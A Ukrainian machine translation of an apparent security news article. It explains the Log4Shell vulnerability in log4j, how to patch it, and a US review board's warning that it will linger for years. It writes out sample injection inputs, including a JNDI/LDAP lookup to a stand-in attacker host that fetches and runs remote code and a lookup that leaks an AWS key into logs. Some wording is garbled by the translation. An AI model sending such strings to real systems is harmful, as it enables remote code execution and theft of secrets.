Через 8 місяців США кажуть, що Log4Shell існуватиме «десять років або довше»

Запам'ятати Log4Shell?

Це була небезпечна помилка в популярному інструментарії для програмування на Java з відкритим кодом під назвою log4j, скорочення від «Logging for Java», опубліковане Apache Software Foundation за ліберальною безкоштовною ліцензією на вихідний код.

Якщо ви коли-небудь писали будь-яке програмне забезпечення, від найпростішого BAT-файлу на ноутбуці Windows до найскладнішої мега-програми, що працює на цілій стойці серверів, ви використовували команди журналювання.

З основного виходу, наприклад echo "Starting calculations (this may take a while)" друкуються на екрані, аж до офіційних повідомлень, що зберігаються в базі даних для одноразового запису для аудиту чи відповідності, журналювання є важливою частиною більшості програм, особливо коли щось ламається, і вам потрібен чіткий запис того, як далеко ви просунулися раніше проблема вдарилася.

Log4Shell вразливість (насправді виявилося, що існує кілька пов’язаних проблем, але для простоти ми розглядатимемо їх усі як одну велику проблему) виявився напівпомилкою, напівфункцією.

Іншими словами, Log4j зробив те, що було сказано в посібнику, на відміну від помилки, такої як переповнення буфера, коли програма-порушник неправильно намагається возитися з даними, які вона обіцяла залишити в спокої…

…але якщо ви не прочитали посібник справді уважно та не вжили додаткових запобіжних заходів, додавши рівень ретельної перевірки введених даних поверх Log4j, ваше програмне забезпечення може вийти з ладу.

Дійсно, погано, зовсім відклеївся.

Інтерполяція вважається шкідливою

Простіше кажучи, Log4j не завжди записував повідомлення журналу точно так, як ви їх надали.

Натомість у нього була «особливість», яка на жаргоні відома по-різному та заплутано як інтерполяція, підміна команд or автопереписування, щоб ви могли запускати функції маніпулювання текстом у самій утиліті журналювання, без необхідності писати для цього спеціальний власний код.

Наприклад, текст у стовпці INPUT нижче буде зареєстровано буквально, точно так, як ви його бачите, що, мабуть, і очікувалося б від інструментарію журналювання, особливо якщо ви хочете вести точний облік вхідних даних, які надають ваші користувачі. з нормативних причин:

ВХІД РЕЗУЛЬТАТ ----------------------- ------------------------ ІМ'Я КОРИСТУВАЧА =duck -> USERNAME=duck Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 Поточна версія = 17.0.1 -> Поточна версія = 17.0.1

Але якщо ви надіслали текст, обернутий магічною послідовністю символів ${...}, реєстратор інколи робив з ним розумні речі після отримання тексту, але перед фактичним записом у файл журналу, наприклад:

ВХІД РЕЗУЛЬТАТ ---------------------------------- -------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=версія Java 17.0.1/Windows 10 10.0 Обліковий запис сервера: ${env:USER} -> Обліковий запис сервера: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Зрозуміло, що якщо ви приймаєте текст журналу з надійного джерела, де доцільно дозволити реєстратору контролювати реєстратор, наказуючи йому замінити звичайний текст внутрішніми даними, такий вид перезапису тексту є корисним.

Але якщо ваша мета — відстежувати дані, надіслані віддаленим користувачем, можливо, з метою нормативного ведення записів, такий вид автоматичного перезапису подвійно небезпечний:

• У разі суперечки, у вас немає надійного запису про те, що користувач насправді надіслав, враховуючи, що це могло бути змінено між введенням і виведенням.
• Зловмисник може надіслати приховано введені дані щоб спровокувати ваш сервер на те, чого він не мав робити.

Якщо ви реєструєте введені користувачем дані, наприклад ідентифікаційний рядок браузера, скажімо (на жаргоні відомий як User-Agent), або їхнє ім’я користувача чи номер телефону, ви не бажаєте дати користувачеві шанс змусити вас записати особисті дані (наприклад, рядок пароля лише для пам’яті, як-от AWS_ACCESS_KEY_ID у прикладі вище) у постійний файл журналу.

Особливо, якщо ви впевнено сказали своїм аудиторам або регулятору, що ви ніколи не записуєте паролі у відкритому вигляді в постійне сховище. (Ти не слід цього робити, навіть якщо ви офіційно не сказали регулятору, що цього не зробили!)

Гірше буде

Однак у випадку Log4Shell is-it-a-bug-or-is-it-a-feature все було набагато гірше, ніж і без того ризиковані приклади, які ми показали вище.

Наприклад, користувач, який навмисно надіслав дані, подібні до наведених нижче, може викликати справді небезпечну послідовність подій:

ВХІД РЕЗУЛЬТАТ ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Завантажте та запустіть віддалену програму Java!?

У рядку «інтерполяції» вище, ${...} послідовність символів, що включає скорочення jndi та ldap сказав Log4j зробити це:

• Використовуйте Java Naming and Directory Interface (JNDI) щоб знайти dodgy.server.example Інтернет.
• Підключіться до цього сервера через LDAP, використовуючи порт TCP 8888.
• Запит даних зберігається в об’єкті LDAP BadThing.

Іншими словами, зловмисники можуть надіслати спеціально створені вхідні дані, які дадуть вказівку вашому серверу «зателефонувати додому» на сервер під їхнім контролем, навіть без будь-якої відпустки.

Як це може бути «функцією»?

Вам може бути цікаво, як така «функція» взагалі потрапила в код Log4j.

Але такий вид перезапису тексту може бути корисним, якщо ви реєструєте дані з надійного джерела.

Наприклад, ви можете зареєструвати числовий ідентифікатор користувача, але також попросити реєстратора використовувати LDAP ( легкий протокол доступу до каталогу, який широко використовується в галузі, включно з системою Microsoft Active Directory), щоб отримати та зберегти ім’я користувача, пов’язане з цим номером облікового запису в той час.

Це покращить як читабельність, так і історичну цінність запису у файлі журналу.

Але сервер LDAP, який викликав Log4j у наведеному вище прикладі (який був обраний віддаленим користувачем, не забувайте), навряд чи дізнається правду, не кажучи вже про те, щоб сказати її, і тому зловмисний користувач може використати цей трюк заповнення ваші журнали з фальшивими та навіть юридично сумнівними даними.

Ще гірше, сервер LDAP може повертати попередньо скомпільований код Java для генерації даних для реєстрації, і ваш сервер сумлінно запустить цю програму – невідому програму, надану ненадійним сервером, обрану ненадійним користувачем.

Грубо кажучи, якщо будь-який сервер будь-де у вашій мережі реєстрував ненадійні дані, які надійшли ззовні, і використовував для цього Log4j…

…тоді ці дані можна використати як прямий і негайний спосіб змусити ваш сервер запустити чужий код, просто так.

Це називається RCE на жаргоні скорочення від віддалене виконання коду, і помилки RCE, як правило, найбільше шукають кіберзлочинці, оскільки їх зазвичай можна використати для автоматичного впровадження шкідливого програмного забезпечення.

На жаль, природа цієї помилки означала, що небезпека не обмежувалася серверами, що виходять в Інтернет, тому використовувалися веб-сервери, написані мовою C, а не Java (наприклад, IIS, Apache https, nginx), і тому самі не використовували помилку Код Log4j не звільнив вас від ризику.

Теоретично будь-яка серверна програма Java, яка отримувала та реєструвала дані з іншого місця у вашій мережі та використовувала бібліотеку Log4j…

… потенційно можуть бути доступні та використані сторонніми зловмисниками.

Виправлення було досить простим:

• Знайти старі версії Log4j будь-де та всюди у вашій мережі. Модулі Java зазвичай мають такі назви, як log4j-api-2.14.0.jar та log4j-core-2.14.0.jar, Де jar є абревіатурою Java архів, спеціально структурований тип ZIP-файлу. Завдяки префіксу з можливістю пошуку, остаточному розширенню та номеру версії, вбудованому в ім’я файлу, швидко знайти файли з «неправильними» версіями коду бібліотеки Java насправді досить легко.
• Замініть глючні версії з новішими, виправленими.
• Якщо ви не мали змоги змінити версію Log4J, ви можете зменшити або усунути ризик, видаливши єдиний модуль коду з пакета Log4j з помилками (код Java, який обробляв пошуки JNDI, як описано вище), і переупакувавши свій власний зменшений JAR-файл із придушеною помилкою.

Сага триває

На жаль, нещодавно детальний звіт про сагу Log4Shell, опубліковану минулого тижня в США Наглядова рада з кібербезпеки (CSRB), що входить до складу Департаменту внутрішньої безпеки, містить тривожну припущення (наше виділення нижче), що:

[T]подія Log4j не закінчилася. [CSRB] оцінює, що Log4j є «ендемічною вразливістю» і що вразливі екземпляри Log4j залишатимуться в системах протягом багатьох майбутніх років, можливо, десятиліття або більше. Залишається значний ризик.

Що ж робити?

На 42 сторінках (тільки короткий виклад займає майже три сторінки). Звіт правління це довгий документ, і його частини важкі.

Але ми рекомендуємо вам прочитати його до кінця, оскільки це захоплююча історія про те, як навіть проблеми з кібербезпекою, які потрібно швидко й легко вирішувати, можна проігнорувати, або відкласти на потім, або взагалі заперечити, як «чужі». проблему», щоб виправити.

Помітні пропозиції від державної служби США, які ми щиро підтримуємо, включають:

• Розвивайте спроможність вести точний інвентар інформаційних технологій (ІТ) і додатків.
• [Налаштувати] задокументовано програма реагування на вразливості.
• [Налаштуйте] задокументований процес розкриття та обробки вразливостей.

Коли мова йде про кібербезпеку, не питайте, що інші можуть зробити для вас…

…але подумайте про те, що ви можете зробити для себе, тому що будь-які покращення, які ви зробите, майже напевно будуть користь усім іншим а.

---

[Вбудоване вміст]

---